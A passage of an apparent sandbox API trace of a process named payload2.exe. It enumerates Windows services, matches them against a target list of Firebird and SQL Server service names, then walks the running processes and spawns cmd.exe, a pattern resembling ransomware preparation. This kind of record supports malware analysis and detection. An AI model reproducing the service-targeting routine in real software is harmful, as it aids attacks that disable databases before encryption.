	[0180.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0180.407] lstrlenW (lpString="MpsSvc") returned 6
	[0180.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.407] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0180.407] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0180.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0180.407] lstrlenW (lpString="NcbService") returned 10
	[0180.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0180.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0180.407] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0180.407] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0180.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0180.407] lstrlenW (lpString="netprofm") returned 8
	[0180.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0180.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0180.407] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0180.407] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0180.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0180.407] lstrlenW (lpString="NgcSvc") returned 6
	[0180.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.407] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0180.407] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0180.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0180.407] lstrlenW (lpString="NlaSvc") returned 6
	[0180.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0180.408] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0180.408] lstrlenW (lpString="nsi") returned 3
	[0180.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0180.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0180.408] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0180.408] lstrlenW (lpString="PcaSvc") returned 6
	[0180.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0180.408] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0180.408] lstrlenW (lpString="PlugPlay") returned 8
	[0180.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0180.408] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0180.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0180.408] lstrlenW (lpString="Power") returned 5
	[0180.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0180.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0180.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0180.409] lstrlenW (lpString="ProfSvc") returned 7
	[0180.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0180.409] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0180.409] lstrlenW (lpString="RpcEptMapper") returned 12
	[0180.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0180.409] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0180.409] lstrlenW (lpString="RpcSs") returned 5
	[0180.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0180.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0180.409] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0180.409] lstrlenW (lpString="SamSs") returned 5
	[0180.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0180.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0180.409] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0180.409] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0180.410] lstrlenW (lpString="Schedule") returned 8
	[0180.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0180.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0180.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0180.410] lstrlenW (lpString="SecurityHealthService") returned 21
	[0180.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0180.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0180.410] lstrlenW (lpString="SENS") returned 4
	[0180.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0180.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0180.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0180.410] lstrlenW (lpString="ShellHWDetection") returned 16
	[0180.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0180.410] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0180.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0180.410] lstrlenW (lpString="Spooler") returned 7
	[0180.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0180.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0180.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0180.411] lstrlenW (lpString="StateRepository") returned 15
	[0180.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0180.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0180.411] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0180.411] lstrlenW (lpString="SysMain") returned 7
	[0180.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0180.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0180.411] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0180.411] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0180.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0180.411] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0180.411] lstrlenW (lpString="Themes") returned 6
	[0180.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0180.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0180.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0180.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0180.412] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0180.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x514
	[0180.601] Process32FirstW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0180.601] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0180.601] lstrlenW (lpString="System") returned 6
	[0180.602] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0180.602] lstrlenW (lpString="smss.exe") returned 8
	[0180.602] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.602] lstrlenW (lpString="csrss.exe") returned 9
	[0180.603] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0180.603] lstrlenW (lpString="wininit.exe") returned 11
	[0180.603] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.604] lstrlenW (lpString="csrss.exe") returned 9
	[0180.604] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0180.604] lstrlenW (lpString="winlogon.exe") returned 12
	[0180.604] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0180.605] lstrlenW (lpString="services.exe") returned 12
	[0180.605] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0180.605] lstrlenW (lpString="lsass.exe") returned 9
	[0180.605] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.605] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.606] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.606] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.606] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.606] lstrlenW (lpString="svchost.exe") returned 11
	[0180.606] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.607] lstrlenW (lpString="svchost.exe") returned 11
	[0180.607] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0180.607] lstrlenW (lpString="dwm.exe") returned 7
	[0180.607] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.608] lstrlenW (lpString="svchost.exe") returned 11
	[0180.608] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.608] lstrlenW (lpString="svchost.exe") returned 11
	[0180.608] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.609] lstrlenW (lpString="svchost.exe") returned 11
	[0180.609] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.609] lstrlenW (lpString="svchost.exe") returned 11
	[0180.609] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.610] lstrlenW (lpString="svchost.exe") returned 11
	[0180.610] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.610] lstrlenW (lpString="svchost.exe") returned 11
	[0180.610] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.610] lstrlenW (lpString="svchost.exe") returned 11
	[0180.610] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.611] lstrlenW (lpString="svchost.exe") returned 11
	[0180.611] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.611] lstrlenW (lpString="svchost.exe") returned 11
	[0180.611] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.612] lstrlenW (lpString="svchost.exe") returned 11
	[0180.612] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0180.612] lstrlenW (lpString="spoolsv.exe") returned 11
	[0180.612] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.613] lstrlenW (lpString="svchost.exe") returned 11
	[0180.613] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0180.613] lstrlenW (lpString="audiodg.exe") returned 11
	[0180.613] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0180.614] lstrlenW (lpString="sihost.exe") returned 10
	[0180.614] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.614] lstrlenW (lpString="svchost.exe") returned 11
	[0180.614] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0180.614] lstrlenW (lpString="taskhostw.exe") returned 13
	[0180.615] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0180.615] lstrlenW (lpString="msoia.exe") returned 9
	[0180.615] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0180.615] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0180.615] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0180.616] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0180.616] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0180.616] lstrlenW (lpString="Memory Compression") returned 18
	[0180.616] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0180.617] lstrlenW (lpString="explorer.exe") returned 12
	[0180.617] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0180.617] lstrlenW (lpString="SearchUI.exe") returned 12
	[0180.617] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0180.618] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0180.618] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0180.618] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0180.618] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0180.619] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0180.619] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0180.619] lstrlenW (lpString="payload2.exe") returned 12
	[0180.619] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0180.620] lstrlenW (lpString="cmd.exe") returned 7
	[0180.620] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0180.620] lstrlenW (lpString="conhost.exe") returned 11
